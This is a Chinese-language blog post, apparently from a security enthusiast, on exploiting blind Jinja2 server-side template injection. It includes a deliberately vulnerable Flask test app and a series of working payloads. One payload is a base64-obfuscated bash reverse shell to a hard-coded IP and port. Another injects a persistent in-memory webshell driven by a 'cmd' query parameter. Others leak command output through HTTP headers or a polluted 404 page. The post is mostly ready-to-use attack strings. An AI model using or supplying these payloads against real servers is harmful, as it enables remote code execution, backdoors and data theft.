jinjia2无回显SSTI

参考了先知中的很多blog
先贴一个测试脚本

from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)

@app.route('/', methods=["POST"])
def template():
        template = request.form.get("code")
        result=render_template_string(template)
        print(result)
        if result !=None:
            return "OK"
        else:
            return "error"

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=8000)

可以看到这里进行了一次模板渲染,存在SSTI漏洞,但是没有对渲染的结果进行回显.
这里的打法比较丰富.

写文件到static

最通用的一个办法,像js啥的也可以写到public中.

出网反弹shell

这也是最简单的一种打法,在出网的情况下直接反弹shell.

x={{lipsum.__globals__['os'].popen('bash${IFS}-c${IFS}\'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}\'').read()}}

注入内存马

基础款:

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

使用方式:直接get去传参cmd即可.
https://xz.aliyun.com/t/14539 这个文章中给出了很多其他的钩子的用法,然而尝试了并没有复现成功.
包括只用hex等方式去进行bypass的,也都没复现成功.

httpheader回显

http

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}

server

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}

错误页面

污染404:

{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}

可以使用InternalServerError等去替换NotFound来污染其他页面

盲注

不同情况下写法不同,注意使用二分来优化.

posted @ 2024-11-27 17:05  colorfullbz  阅读(1130)  评论(0)    收藏  举报